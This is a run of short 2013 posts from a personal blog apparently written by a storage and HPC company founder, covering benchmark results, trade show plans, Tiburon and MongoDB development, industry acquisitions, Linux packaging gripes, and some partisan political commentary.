https://blog.scalability.org/2013/11/beobash13-the-revenge-of-the-rampaging-physics-turned-supercomputer-geeks/ Thu, 07 Nov 2013 00:06:14 +0000 https://blog.scalability.org/2013/11/beobash13-the-revenge-of-the-rampaging-physics-turned-supercomputer-geeks/ Or something like that. See here We’ll be there! https://blog.scalability.org/2013/11/sc13-t-14-days/ Tue, 05 Nov 2013 04:25:59 +0000 https://blog.scalability.org/2013/11/sc13-t-14-days/ We will be at booth 1919. Please do come by and say hello. We’ll have coffee/tea (I think), a number of machines, great partners with a number of demos, and hopefully some talks on big data analytics in Financial Services, Parallel high performance databases, massive key-value storage and processing, as well as a few other bits. We’ll have a very cool box from one of our friends in the booth. We ship the machines at the end of this week, or beginning of next. https://blog.scalability.org/2013/11/and-then-they-fight-you/ Tue, 05 Nov 2013 04:15:16 +0000 https://blog.scalability.org/2013/11/and-then-they-fight-you/ We’ve been championing the tightly coupled storage and computing model for a long time. When it was unfashionable, when it was discarded as “this is something you should not do” by others “who knew better”. Now, the ideas, the concepts, the thoughts, the designs and implementations behind it are all around. Joyent’s Manta system is an implementation of the concept. Arguably, the more advanced MapReduce and Hadoop designs are also implementations … have the data right next to the processing, and provide gargantuan bandwidth locally to the data. https://blog.scalability.org/2013/11/cray-acquires-the-ip-assets-and-people-of-gnodal/ Fri, 01 Nov 2013 16:34:49 +0000 https://blog.scalability.org/2013/11/cray-acquires-the-ip-assets-and-people-of-gnodal/ We used Gnodal units for the original Lucera system. Very nice devices with a few idiosyncrasies. Gnodal ran into some funding problems earlier this year, and had to find a buyer. Cray grabbed them and a number of the people involved. This is good for Gnodal and Cray. Gnodal has interesting technology. And Cray may be looking at how to leverage SDN for its system using this (wild guess on my part, I have no knowledge direct or indirect of their plans/intentions/…). https://blog.scalability.org/2013/10/first-distributed-file-system-for-stac-m3-benchmarks/ Tue, 29 Oct 2013 01:35:18 +0000 https://blog.scalability.org/2013/10/first-distributed-file-system-for-stac-m3-benchmarks/ We ran the STAC M3 on a Ceph based storage cloud appliance you will be hearing more about soon. The report should be up on the STAC site later this week. Here are some of the take-aways: We chose Ceph for several reasons, but you should expect to see others very soon as well. Our Cluster and Cloud storage appliances are based upon our very powerful and very dense building blocks. https://blog.scalability.org/2013/10/at-the-stac-summit-in-nyc-presenting-our-time-series-analytics-appliance/ Tue, 29 Oct 2013 01:28:51 +0000 https://blog.scalability.org/2013/10/at-the-stac-summit-in-nyc-presenting-our-time-series-analytics-appliance/ This was a good meeting in general. Lively panelists, focused panels, though somewhat vendor heavy in a number of cases. I have a sense of a “Gandhi” experience in progress from the parallel file systems panel. 4 vendors, one user. The user was fantastic, and the vendors were pushing most of their own stuff. One vendor in particular took some not too thinly veiled shots directly at us without naming us. https://blog.scalability.org/2013/10/but-of-course/ Fri, 25 Oct 2013 04:20:35 +0000 https://blog.scalability.org/2013/10/but-of-course/ So I ran out of space on my travel laptops small SSD. I wanted to update to a larger SSD, and I figured I’d move my partitions over and resize. But the gods would not allow for such an operation as they have in the past. Oh no. Upon switching out the 120 GB Intel SSD for the 240 GB SSD (spare unit we had), and putting the 120 GB SSD into a USB 3 holder, I discovered that a) the drive wouldn’t register with the machine most of the time (it errored out during SCSI plugin detection), or b) when it did detect properly, it wouldnt provide partitions I could copy off. https://blog.scalability.org/2013/10/our-little-time-series-analytical-appliance-is-one-fast-monster/ Mon, 21 Oct 2013 17:43:38 +0000 https://blog.scalability.org/2013/10/our-little-time-series-analytical-appliance-is-one-fast-monster/ Running some burn in testing: Run status group 0 (all jobs): READ: io=523296MB, aggrb=12093MB/s, minb=12093MB/s, maxb=12093MB/s, mint=43274msec, maxt=43274msec WRITE: io=523296MB, aggrb=7469.4MB/s, minb=7469.4MB/s, maxb=7469.4MB/s, mint=70059msec, maxt=70059msec More soon https://blog.scalability.org/2013/10/this-week-past-has-been-mostly-incredible/ Sun, 20 Oct 2013 15:24:39 +0000 https://blog.scalability.org/2013/10/this-week-past-has-been-mostly-incredible/ Feeling not happy about my time away from my family, and not happy about Vipin’s time away from his, we still accomplished a great deal. Some unhappy things I still have to deal with, and I will soon. But this has been a great week. Look for some announcements around the SC13 show. We will have some nice things to talk about at our booth (#1919 , please do come and visit us there, we will have coffee, snacks, as well as our team, partners, and friends there! https://blog.scalability.org/2013/10/and-the-benchmarks-are-out/ Wed, 16 Oct 2013 03:39:51 +0000 https://blog.scalability.org/2013/10/and-the-benchmarks-are-out/ Check out the official site for more info. Take home messages for the soon to be announced system and What is this magical beast you ask? What are its configuration limits? You’ll have to wait for the official unveiling. https://blog.scalability.org/2013/10/new-benchmark-results-imminent/ Mon, 14 Oct 2013 17:40:38 +0000 https://blog.scalability.org/2013/10/new-benchmark-results-imminent/ Will update once they are released. I can’t tell you numbers within. I can say that we are quite happy with the results. More (very) soon. I promise. https://blog.scalability.org/2013/10/heh/ Fri, 11 Oct 2013 22:55:16 +0000 https://blog.scalability.org/2013/10/heh/ [  ](http://www.businessinsider.com/scott-adams-favorite-dilbert-comics-2013-10) https://blog.scalability.org/2013/10/this-would-be-funny-if-it-werent-sad/ Thu, 10 Oct 2013 16:43:25 +0000 https://blog.scalability.org/2013/10/this-would-be-funny-if-it-werent-sad/ Over on the pfSense mailing list there is a serious level of tin-foil-hat (TFH) and rampant paranoia, coupled with extreme lack of etiquette on the part of the TFH brigade. And, to make it more enjoyable, at least one overt and humorous case of attempted cyber bullying against me personally for imploring people to stop hijacking a technical discussion list, as well as people decrying a faux oppression from people whom are genuinely wanting the list to return to its technical roots. https://blog.scalability.org/2013/10/oh-dear-lord/ Mon, 07 Oct 2013 23:30:52 +0000 https://blog.scalability.org/2013/10/oh-dear-lord/ Lets see if this actually materializes. Its pretty obvious as to how hard the media folks tried to spin this with the title. A good rubric for how the US media treats the president and his opposition could be found in this cartoon. With that in mind, read the title of that article, and then note this little tidbit on the inside: Notice the scare quotes around the word treason. Treason has a very straighforward definition in the US Constitution. https://blog.scalability.org/2013/10/starting-to-build-the-tiburon-data-store/ Sat, 05 Oct 2013 16:39:00 +0000 https://blog.scalability.org/2013/10/starting-to-build-the-tiburon-data-store/ This is fun, basically something that I’ve wanted to do, and it gets me closer to the point where I’ve wanted to be for a while … building TREDS (Tiburon REliable Data Store). Code is up in the IDE, and I am building the CRUD and metadata portions now. If all goes well (it never does), we should be storing/retrieving objects soon. Very exciting … https://blog.scalability.org/2013/10/you-get-what-you-vote-for/ Sat, 05 Oct 2013 14:26:14 +0000 https://blog.scalability.org/2013/10/you-get-what-you-vote-for/ This is sad. Here’s the really sad parts of this Not only did they close the parks, but they turned off the web sites The park employees are being ordered to make life as hard as possible for the patrons. None of this had to happen. Had the democrats decided that, ya know, in a political environment where negotiation is the key to advancing agendas, and not a burnt ground strategy, chances are they would be able to get some of what they wanted. https://blog.scalability.org/2013/10/more-benchmarking-goodness-coming/ Fri, 04 Oct 2013 21:21:07 +0000 https://blog.scalability.org/2013/10/more-benchmarking-goodness-coming/ A new round of industry standard benchmarks coming soon for some of our kit. Well, its technically our appliance built from that platform, but you’ll be hearing more on that soon. Very exciting times … you’ll hear more about this soon. https://blog.scalability.org/2013/10/moving-more-of-our-infrastructure-to-our-dog-food/ Tue, 01 Oct 2013 15:53:02 +0000 https://blog.scalability.org/2013/10/moving-more-of-our-infrastructure-to-our-dog-food/ Many of our functions are hosted on our Virtualization appliance. Our firewall is now running on a siRouter appliance. As always, our internal storage is JackRabbit, and our internal backup is DeltaV. We’ll be talking more about all of this in short order. Needless to say, I am quite pleased about this. [update] spoke too soon .. discovered a routing failure that was masked in the appliance. Reverting to the old setup until we can address. https://blog.scalability.org/2013/09/dead-on-correct-article/ Fri, 27 Sep 2013 16:13:50 +0000 https://blog.scalability.org/2013/09/dead-on-correct-article/ What many of us worried about years ago was whether or not we weer electing an empty suit to the highest political office in the land. Someone with no experience running anything. With no great accomplishments upon which to build. Simply a moderate orator with a teleprompter. 5 years in, our worst fears don’t even appear to scratch the surface of the failure that we have brought upon ourselves. This piece at the Wall Street Journal is so completely spot on. https://blog.scalability.org/2013/09/wonderful-changes-in-tiburon-restful/ Sun, 22 Sep 2013 18:51:49 +0000 https://blog.scalability.org/2013/09/wonderful-changes-in-tiburon-restful/ I’ve been rewriting Tiburon to provide a completely sane restful interface. It still does what it did before, but now … it does it so much more nicely! First: I got rid of the config file. Some folks were having trouble with JSON config files. Creating them is very easy, they are key value stores in 90% of the cases, with the remaining 10% being a “default” key, and then the value. https://blog.scalability.org/2013/09/restful-tiburon-tagged/ Sat, 21 Sep 2013 19:29:27 +0000 https://blog.scalability.org/2013/09/restful-tiburon-tagged/ as Alaskan Malamute v0.10. I’m a dog guy, what can I say. Hopefully full boot server semantics will be done by end of weekend. https://blog.scalability.org/2013/09/starting-to-really-enjoy-using-mongodb-as-a-document-store/ Sat, 21 Sep 2013 17:13:51 +0000 https://blog.scalability.org/2013/09/starting-to-really-enjoy-using-mongodb-as-a-document-store/ There are a few gotcha’s that I am working through. But apart from these (mostly oddities in the interface between Perl and MongoDB), this is making Tiburon RESTful development go much better. I’ve just started to scratch the surface of what the combined thing will do. landman@lightning:~/work/development/tiburon/t$ ./version.pl result = $VAR1 = '{ "version" : "0.1", "label" : "Alaskan Malamute" }'; and landman@lightning:~/work/development/tiburon/t$ ./list_boot_servers.pl result = $VAR1 = ' [ { "hostport" : "3001", "_id" : "523d540e9745f48429000000", "name" : "test1", "default" : "false", "hostname" : "10. https://blog.scalability.org/2013/09/ahhh-the-joy-that-is-being-used-as-a-2-by-4/ Fri, 20 Sep 2013 18:15:13 +0000 https://blog.scalability.org/2013/09/ahhh-the-joy-that-is-being-used-as-a-2-by-4/ I didn’t quite see this one in all its glory, but had an inkling that things were not as they appeared to be. Annoying, but one lives, learns, and continues. No details. https://blog.scalability.org/2013/09/and-nirvanix-shutters/ Tue, 17 Sep 2013 21:07:33 +0000 https://blog.scalability.org/2013/09/and-nirvanix-shutters/ Traction, paying customers, revenue and cashflow are what matter to small businesses looking to grow up. In many ways we (the day job) were lucky as we built a sustainable business first, with real customers and real revenue. Most startups don’t do that. They have a change the world idea, and then try to evangelize this whilst building a business. Sometimes they have to “pivot” or … change focus to an idea that will work at turning into a business. https://blog.scalability.org/2013/09/worlds-first-low-latency-cloud/ Tue, 17 Sep 2013 14:12:37 +0000 https://blog.scalability.org/2013/09/worlds-first-low-latency-cloud/ PR from the day job. Remember I’ve been dying to tell people about the ultra cool project we’ve been working on for the last year? Well, this is it. More soon, but I am thrilled we can talk about it now! https://blog.scalability.org/2013/09/why-is-java-used-in-teaching-programming-in-high-schools/ Mon, 16 Sep 2013 03:29:24 +0000 https://blog.scalability.org/2013/09/why-is-java-used-in-teaching-programming-in-high-schools/ Seriously … My daughter is taking a computer class, and for reasons I cannot fathom, they are using an AP Java book (an old one at that, written when Java 5 was new), and more importantly and more concerningly, the Java language itself. I’ve got many qualms about using Java for teaching (or development, but thats for other posts). For new students, early exposure to its rigid and verbose … one might argue … excessively verbose … syntax and structure, don’t quite lend themselves to an understanding of how algorithms and computers work. https://blog.scalability.org/2013/09/slight-annoyance-with-argument-processing/ Mon, 16 Sep 2013 01:25:04 +0000 https://blog.scalability.org/2013/09/slight-annoyance-with-argument-processing/ Tiburon as a service. I’ll talk about this at some point, and describe what I mean, but I have to say that I’ve been blown away by the response to it from many places and customers. I’ve been working on making the API restful, and finally … finally … incorporating a noSQL DB on the back end to make the replication and other bits trivial. We are using MongoDB for this. https://blog.scalability.org/2013/09/bitten-by-virtualbox-yet-again-moving-to-kvm/ Thu, 12 Sep 2013 20:55:05 +0000 https://blog.scalability.org/2013/09/bitten-by-virtualbox-yet-again-moving-to-kvm/ I like VirtualBox. Have for a long time. But it has some … well … interesting failure modes. Including some that have locked up my host machine. The problem for me is that I’ve got my Windows desktop environment for my normal desktop hosted there. And I need this every now and then. Today was the final straw. Working on a document about some of our updates in Word. I don’t like Word, but some of our partners use it, and its easier to use it than to fight the battle convincing them to use LibreOffice. https://blog.scalability.org/2013/09/more-ma-2/ Tue, 10 Sep 2013 17:32:34 +0000 https://blog.scalability.org/2013/09/more-ma-2/ Two items. our friends at Virident are now part of WD. I am happy Kumar, Yatin and crew got a nice exit. I am not thrilled at where they landed. Virident joins STEC at WD. But as with STEC, this looks like this is on the HGST side of things, which appears to still be building separate and quality product. We will buy and ship HGST. Whiptail was acquired by Cisco. https://blog.scalability.org/2013/09/special-at-the-party-after-hpc-on-wall-street/ Sat, 07 Sep 2013 03:02:01 +0000 https://blog.scalability.org/2013/09/special-at-the-party-after-hpc-on-wall-street/ The worlds first low latency drink to go with the next generation low latency cloud … the Scalable low latentini. Yes, its real … https://blog.scalability.org/2013/09/day-job-at-hpc-on-wall-street-on-monday-the-9th/ Fri, 06 Sep 2013 20:12:22 +0000 https://blog.scalability.org/2013/09/day-job-at-hpc-on-wall-street-on-monday-the-9th/ We’ll be showing off 2 appliances, with a change of what we are showing/announcing on one due to something not being ready on the business side. The first one is our little 108 port siRouter box. Think ‘bloody fast NAT’ and SDN in general, you can run other virtual/bare metal apps atop it. The second will be a massive scale parallel SQL DB appliance. Usable for big data, hadoop like workloads, and other similar workloads more commonly used on other well known platforms. https://blog.scalability.org/2013/09/definitely-having-one-of-those-days/ Fri, 06 Sep 2013 19:49:49 +0000 https://blog.scalability.org/2013/09/definitely-having-one-of-those-days/ Massive frustration on multiple fronts, and a few unwelcome surprises. I wish I had karate tonight, and fight night in particular. Lots to work off. I’ll have to be satisfied with weight training tomorrow, and a nice long dog walk tonight. https://blog.scalability.org/2013/09/more-ma-microsoft-buys-nokia/ Tue, 03 Sep 2013 04:44:05 +0000 https://blog.scalability.org/2013/09/more-ma-microsoft-buys-nokia/ This one was almost obvious, it was simply a matter of “when”. Microsoft is trying to put some wood behind its Mobile OS arrow. No one seems to want it, save for the 41MP camera “phone”. In the big picture, Microsoft saw the beginning of an erosion of its market power recently, as more people opted for mobile platforms, and fewer opted for PCs and laptops. There is a convenience and cost play going on at the same time. https://blog.scalability.org/2013/09/latest-deltav-benchmarks/ Sun, 01 Sep 2013 21:08:40 +0000 https://blog.scalability.org/2013/09/latest-deltav-benchmarks/ 24 bay system, big RAID6. Reads/write 4x RAM size. [root@dv4-3 ~]# df -h /data Filesystem Size Used Avail Use% Mounted on /dev/md2 55T 65G 55T 1% /data ... WRITE: io=65505MB, aggrb=1580.2MB/s, minb=1580.2MB/s, maxb=1580.2MB/s, mint=41433msec, maxt=41433msec READ: io=65505MB, aggrb=2429.4MB/s, minb=2429.4MB/s, maxb=2429.4MB/s, mint=26964msec, maxt=26964msec https://blog.scalability.org/2013/09/spot-on-discussion-of-a-fake-crisis/ Sun, 01 Sep 2013 20:14:18 +0000 https://blog.scalability.org/2013/09/spot-on-discussion-of-a-fake-crisis/ Over at IEEE Spectrum, there is a wonderful article that delves into the latest phase of the alleged massive need for more STEM workers. This is a topic I’ve covered a number of times, here, here, here, and here. TL;DR version for newbies: If someone is trying to sell you on this to get you to decide to go get an STEM degree, then there’s a pretty good probability you are in the process of being deceived. https://blog.scalability.org/2013/08/why-ive-not-been-posting/ Sat, 31 Aug 2013 15:39:14 +0000 https://blog.scalability.org/2013/08/why-ive-not-been-posting/ Just insanely busy, more so than usual. We are getting close to double digits in employees in the day job. I suspect we’ll cross this in September/October. More news soon, including some wonderful new partners, products, and business bits. I won’t say where at this moment, but you can start searching around for the SI logo on a few folks sites … https://blog.scalability.org/2013/08/entrepreneurs-are-optimists/ Sat, 31 Aug 2013 15:35:37 +0000 https://blog.scalability.org/2013/08/entrepreneurs-are-optimists/ This is something I’ve been meaning to write about for a while. There are many reasons one might decide to be an entrepreneur. For me the journey was fairly simple. In graduate school, I saw the sea change in my field with the influx of FSU scientists with much greater seniority, many more publications, etc. taking up postdoc and tenure track positions around the time I finished up. I knew I had to alter my vision of what I wanted to do in my professional career, and happily SGI came along and gave me the opportunity to spend time in industry. https://blog.scalability.org/2013/08/day-job-at-hpc-on-wall-street/ Sat, 31 Aug 2013 14:58:00 +0000 https://blog.scalability.org/2013/08/day-job-at-hpc-on-wall-street/ Ok, this is getting to be a common theme. We go to HPC on Wall Street. We show off new kit. And we are hosting a party. Go figure. There will be more on this very soon. You will see the new kit at our new large booth at SC13. The first element of the new kit is a software defined networking powerhouse behind a new global financial cloud. The group building out the cloud will be there with us, ready to talk to people about what they are doing, and why financial types should sign up for this cloud. https://blog.scalability.org/2013/08/nextio-shuts-its-doors-and-liquidates/ Mon, 26 Aug 2013 14:01:20 +0000 https://blog.scalability.org/2013/08/nextio-shuts-its-doors-and-liquidates/ As seen here and here. There are lessons to be learned, and wisdom had from the articles. As the founder noted https://blog.scalability.org/2013/08/i-have-finally-given-in-to-the-borg-collective/ Mon, 19 Aug 2013 03:31:38 +0000 https://blog.scalability.org/2013/08/i-have-finally-given-in-to-the-borg-collective/ I am now on Facebook. Turns out my family and all my friends are there, so … … how soon before we have to change for the next great social network platform? I’ve got more than one Twitter account (@sijoe and @scalableinfo), a linkedin account, a google+ account (that for the life of me I can’t really figure out), and now facebook. Not to mention 2 blogs (here and at work). https://blog.scalability.org/2013/08/bitten-yet-again-by-ancient-packages-in-centos-and-rhel/ Sun, 11 Aug 2013 00:51:38 +0000 https://blog.scalability.org/2013/08/bitten-yet-again-by-ancient-packages-in-centos-and-rhel/ This is not a CentOS issue in that they merely rebuild the RHEL sources without the copyrighted bits. But its getting to the point where the RHEL bits are so badly out of date, that the platform is rapidly getting to the point of unusability. When I have to rebuild packages from source, as no up-to-date patched source RPM or even binary RPM exists for little used packages such as, I dunno … apache? https://blog.scalability.org/2013/08/when-you-cross-the-rubicon/ Sat, 10 Aug 2013 03:22:06 +0000 https://blog.scalability.org/2013/08/when-you-cross-the-rubicon/ … from hobby and sport, to something more. I’ve traveled 1k miles for karate tournaments (to participate). I have not, as of yet, crossed an international border for one. That changes tomorrow. I went through a promotion test last week with an injured intercostal muscle. This caused all sorts of joy … no really … and had me think that I had a serious kidney stone flare up. The pain was in the same region, and toradol helped, which drew me to a rapid, and incorrect conclusion as to the pain. https://blog.scalability.org/2013/08/how-not-to-write-driver-makefiles-or-configuration-scripts/ Tue, 06 Aug 2013 22:43:18 +0000 https://blog.scalability.org/2013/08/how-not-to-write-driver-makefiles-or-configuration-scripts/ if [uname -r eq ...] Its very bad form to insist on very particular versions of an OS/kernel. Not only will you piss off your customer (me), you will cause a great deal of effort to unwind the ill-considered test in order to get even basic functionality. I’ve seen this on network cards, RAID cards, you name it. It increases your support load, decreases the likelihood that you can actually support whats out there … say for example, someone does a ‘yum update’ and gets an updated kernel. https://blog.scalability.org/2013/08/day-job-blog-on-turning-11-is-up/ Thu, 01 Aug 2013 17:13:00 +0000 https://blog.scalability.org/2013/08/day-job-blog-on-turning-11-is-up/ Here . We are looking forward to the next 11 years :D https://blog.scalability.org/2013/07/a-cri-de-couer-for-perl/ Wed, 31 Jul 2013 16:41:41 +0000 https://blog.scalability.org/2013/07/a-cri-de-couer-for-perl/ As seen here. I enjoy developing code in Perl. I know, I know, its “the write only language” and “looks like line noise”. It has endured some rather nasty FUD in its day, and yet, it keeps on growing in use. It is just an incredibly powerful, quite expressive language. One which enables you to write very terse code if you wish. But the presentation isn’t concerned with terseness, but with development into a modern programming language. https://blog.scalability.org/2013/07/the-day-job-is-11-years-old/ Wed, 31 Jul 2013 13:52:53 +0000 https://blog.scalability.org/2013/07/the-day-job-is-11-years-old/ Last year, I had been incensed at this time, by a US presidential candidate and mindset from him who told me, and every other entrepreneur out there, that “we didn’t build it”. It was a foolish thing for him to say, foolish for his party and fellow travelers to echo. Yet echo it they did. I quietly promised myself to double down on my hard work, the work I did, and see if I could smash the previous years smashing financial records. https://blog.scalability.org/2013/07/and-the-ma-accelerates/ Tue, 30 Jul 2013 10:39:03 +0000 https://blog.scalability.org/2013/07/and-the-ma-accelerates/ NVidia grabs the Portland Group. This makes sense, as NVIdia has had CUDA, which is LLVM based, and needed a more general purpose compiler technology. There is nothing wrong with CUDA, but its very GPU specific. PGI tech allows them to talk very generally, and get support for non-GPU hardware acceleration. Such as massive collections of ARM. I expect more M&A; and investment activity over the next few months. https://blog.scalability.org/2013/07/one-of-the-joys-of-running-a-company/ Mon, 22 Jul 2013 20:45:52 +0000 https://blog.scalability.org/2013/07/one-of-the-joys-of-running-a-company/ … is when large multi-hundred million or multi-billion dollar public companies try to ignore “small” bills from smaller than multi-hundred million dollar companies. Very much related to this. We are operationally funded. Every dollar I pay my team with comes from cash flow. So when companies try to cheat us out of money by not paying their bills, and then ignore our requests for payment … Yeah, this gets old. I prodded a reseller on this pretty hard today. https://blog.scalability.org/2013/07/part-of-the-reason-why-detroit-has-a-long-rough-road-ahead/ Fri, 19 Jul 2013 23:36:46 +0000 https://blog.scalability.org/2013/07/part-of-the-reason-why-detroit-has-a-long-rough-road-ahead/ is due, in significant part, to bad law and bad policy enshrined in law. Ideological view points are hard coded in the firmware of Michigan. Which allows lawsuits and results such as this. It cannot be overemphasized how bone-headed this particular law is. That one can never, under any circumstances, reduce pensioner benefit values. This means, if you ever struck a bad deal, like Detroit, and many others in Michigan have, you have no choice but to continue this bad deal for eternity. https://blog.scalability.org/2013/07/and-bang-goes-detroit/ Thu, 18 Jul 2013 21:30:57 +0000 https://blog.scalability.org/2013/07/and-bang-goes-detroit/ This brings me no joy. I went to grad school in Detroit. I like this city. It has character, it has guts, it has potential. It also has no cash to continue operations. And that sucks. Detroit filed for chapter 9 bankruptcy a few hours ago. There are many reasons for this, but there are a number of specific ones, that are generalizable to businesses as well. First, population decline has led to a tax revenue decline. https://blog.scalability.org/2013/07/dear-nsa-prism-folks-we-have-a-problem-we-need-your-help-with/ Tue, 16 Jul 2013 20:48:06 +0000 https://blog.scalability.org/2013/07/dear-nsa-prism-folks-we-have-a-problem-we-need-your-help-with/ A scammer has been spoofing the day job’s number for the last year and a half. We’ve have been trying … very hard … to get anyone at all, to cooperate with us to try to find out whom these losers are, so we can take them out. We have had no luck. No one wants to help. No one. Even execs at phone companies. Go figure. One kid called last year so incensed that his mother was targeted by the scammers that he said he was going to get a gun and go meet with these jokers. https://blog.scalability.org/2013/07/another-bucket-list-item/ Fri, 05 Jul 2013 00:48:17 +0000 https://blog.scalability.org/2013/07/another-bucket-list-item/ On my vacation in NY recently, I happened to be able to tick off another item on my bucket list. There’s some background to it, but here’s the pics. [ ](/images/IMG_1454.JPG) [ ](/images/IMG_1456.JPG) and [ ](/images/IMG_1459.JPG) The background to this is a short story I’ve been working on for a while. A near future serum run in effect. Should be done very soon, though I’ve been working on it in very short bursts. https://blog.scalability.org/2013/07/ma-roundup/ Tue, 02 Jul 2013 16:58:07 +0000 https://blog.scalability.org/2013/07/ma-roundup/ I’ve not reported it, but STEC was acquired by Western Digital. STEC has been one of the day job’s partners for high performance SSD technology. Unfortunately, we’ve not had great luck with WD in the past. Even gone so far as to recall/replace specific models from every machine shipped globally with those drives, due to very high failure rates, and a complete unwillingness on the part of WD to either admit defective firmware, or RMA defective drives. https://blog.scalability.org/2013/06/isc13-video/ Thu, 27 Jun 2013 18:55:29 +0000 https://blog.scalability.org/2013/06/isc13-video/ [vacation edition: posted from an undisclosed location somewhere off 9A in Fishkill NY, after leaving a really bad airbnb experience in Scarsdale NY] Here Russell from Scalable Informatics and Rich from InsideHPC (check em out!) talk about STAC M3 benchmarks, siCloud (aka ‘the beast'), and some of the capability class tests we ran. More later, but I am on vacation … https://blog.scalability.org/2013/06/very-fast-cloud-scale-tightly-coupled-computing-and-storage/ Thu, 20 Jun 2013 16:09:24 +0000 https://blog.scalability.org/2013/06/very-fast-cloud-scale-tightly-coupled-computing-and-storage/ I’ve been hinting at, and alluding to a benchmark we (the day job) ran on a new product for a while. I took a month to rerun these tests, verifying everything. I wanted to make sure that we got this right. Because these are big numbers. Then we sat on it for another month. Give us time to reflect, what will people’s reaction be? We slowly leaked a few pointers to people. https://blog.scalability.org/2013/06/contemplating-replacing-the-whole-init-script-for-stateless-booting/ Wed, 19 Jun 2013 20:49:02 +0000 https://blog.scalability.org/2013/06/contemplating-replacing-the-whole-init-script-for-stateless-booting/ Its probably fair to say that CentOS/RHEL startup mechanism is, well, broken beyond repair for anything but trivial cases. Out of the box, NFS root doesn’t work, and its very … extraordinarily … hard … to make it work. iSCSI and other connection mechanisms don’t work. This has been the case since 6.0. 6.4 continues the long tradition of working for trivial cases, and not working for anything remotely more interesting. https://blog.scalability.org/2013/06/two-screwups-in-two-days/ Wed, 12 Jun 2013 19:14:43 +0000 https://blog.scalability.org/2013/06/two-screwups-in-two-days/ So the day job released some PR. I paid attention to the content, but not to the title. Unfortunately should have. We set records for the 2.8 version of kdb+. The title suggests otherwise. Call this a Mea Culpa, as I had approved the content before I saw the new results with the 3.1 version. So the PR went out, and I think I’ve got egg on my face :( . https://blog.scalability.org/2013/06/crazy-travel-schedule-ahead/ Mon, 10 Jun 2013 16:37:03 +0000 https://blog.scalability.org/2013/06/crazy-travel-schedule-ahead/ Off to Chicago tonight to present at the STAC Summit tomorrow. Then meeting customers on Wednesday, phone calls, and a partner event. Thursday, back to Detroit, then I fly out to NYC to meet customers on Friday. Back Saturday morning for our national karate tournament (and I am very behind in my practice) for our style. Then Sunday back to NY to present Monday at the STAC Summit in NYC. Back to Detroit on Tuesday, then Friday, in theory, I have a 10 days off for vacation. https://blog.scalability.org/2013/06/you-cant-make-this-stuff-up-10-june-2013-edition/ Mon, 10 Jun 2013 15:59:59 +0000 https://blog.scalability.org/2013/06/you-cant-make-this-stuff-up-10-june-2013-edition/ Link here. Don’t want to tax ALL businesses … out of business? Just some of them? Are you mad? Are you freaking kidding me? Pulling my leg? Very sad. Very very sad. The government should be seeking to reduce taxes to make sure businesses grow, and hire, and spend. Mr. President, the entire role of government in business should be to get out of the way, lest you slow down growth, employment, and spending. https://blog.scalability.org/2013/06/thats-what-now-5-live-scandals/ Sat, 08 Jun 2013 17:27:58 +0000 https://blog.scalability.org/2013/06/thats-what-now-5-live-scandals/ [Update] That didn’t take long. Looks like the government is angry about all of this. The leak of the leaks that is. And they are going to try to find the culprit, and prosecute them. Any “Mea Culpas” from them on the fact that this is … I dunno … illegal? Er … no. Most transparent admin … evuh??? I read something last week which made me laugh. It read “tomorrow is Thursday, time for a new scandal”. https://blog.scalability.org/2013/06/you-can-get-a-hint-of-the-big-test-result-by-watching-the-rotating-banner-on-the-day-job-home-page/ Fri, 07 Jun 2013 20:09:01 +0000 https://blog.scalability.org/2013/06/you-can-get-a-hint-of-the-big-test-result-by-watching-the-rotating-banner-on-the-day-job-home-page/ Though the 11 was changed to a 12. That is being reverted. Day job home page is here. As it scrolls by, think “Massive, unapologetic, firepower”. Writ large. This would pair well with any top500 or !top500 computing system. More to come … more … to come !!! https://blog.scalability.org/2013/06/stac-m3-audited-report-is-now-published/ Fri, 07 Jun 2013 19:53:08 +0000 https://blog.scalability.org/2013/06/stac-m3-audited-report-is-now-published/ See here. Take home message Delivered the fastest response time in the NBBO benchmark compared to all publicly disclosed results to date for all systems (STAC-M3.?1.1T.NBBO.LAT2) Delivered the fastest WRITE results compared to all publicly disclosed results for all systems (STAC-M3.v1.1T.WRITE.LAT2). Among systems using kdb+ 2.8: This system set new records for 5 of the 17 benchmarks (STAC-M3.?1.1T.NBBO.LAT2, STAC-M3.v1.1T.WRITE.LAT2, STAC-M3.?1.10T.STATS-AGG.LAT2, STAC-M3.?1.10T.STATS-UI.LAT2,STAC-M3.?1.1T.STATS-UI.LAT2). Delivered over 2x the performance of the previous best published results for the MKTSNAP benchmark, among systems using spinning disk or flash storage. https://blog.scalability.org/2013/06/the-big-test-to-which-ive-alluded/ Wed, 05 Jun 2013 13:01:23 +0000 https://blog.scalability.org/2013/06/the-big-test-to-which-ive-alluded/ … finalizing the text on this, link up soon (its up but hidden from view). The response from people who’ve seen it has been awesome. More very soon. Today, I hope. https://blog.scalability.org/2013/06/stac-m3-benchmarks-to-be-published-tomorrow/ Wed, 05 Jun 2013 12:58:32 +0000 https://blog.scalability.org/2013/06/stac-m3-benchmarks-to-be-published-tomorrow/ I’ve got a few things to add to the report today, and then we will have the STAC group publish the report. Performance is … er … very … very … good. A few tests which won’t favor our design as compared to massively wide striped disks were better on other kit. But I am blown away at how our little 2 socket server did in comparison to other, better known kit. https://blog.scalability.org/2013/06/finally-fixed-the-day-job-dns/ Wed, 05 Jun 2013 12:50:24 +0000 https://blog.scalability.org/2013/06/finally-fixed-the-day-job-dns/ This took far longer than it should have. This was in part due to my initial decision (since changed) to use dbndns at two sites (one internal, one in the cloud). The TL;DR version. dbndns and its parent project, djbdns, are a royal pain to get up, operational, stable. I tried the packaged versions, the source, etc. Several different distributions (CentOS 6.x , Ubuntu 12.04, …). 4 weeks into this mess, I asked myself the critical question. https://blog.scalability.org/2013/06/6049/ Sun, 02 Jun 2013 17:59:12 +0000 https://blog.scalability.org/2013/06/6049/ I am not a huge fan of the science and accompanying rhetoric around “global warming.” And its not because the Koch brothers (or any other weapons grade conspiracy theory idiocy on the part of certain activist elements of our society). Its because the “science”, or more precisely, the theory that currently holds sway in large swaths of academia, and public policy circles appears to generate testable hypotheses that are not matched against empirical observations. https://blog.scalability.org/2013/05/wish-i-was-going-to-isc13/ Fri, 31 May 2013 15:13:19 +0000 https://blog.scalability.org/2013/05/wish-i-was-going-to-isc13/ I was … but then it was determined that I needed to be giving 2 of the STAC summit talks in Chicago and NY on the day jobs’s systems. Then this week, Tianhe-2 info came out, and … well … WOW! Great job guys! (ob-day job: “could we interest you in some monsterously fast storage to go with that space-time fabric warping super?") I was speaking recently with a VC we had talked to in early 2002 about accelerators. https://blog.scalability.org/2013/05/should-be-able-to-talk-about-the-benchies-early-next-week/ Thu, 30 May 2013 01:44:17 +0000 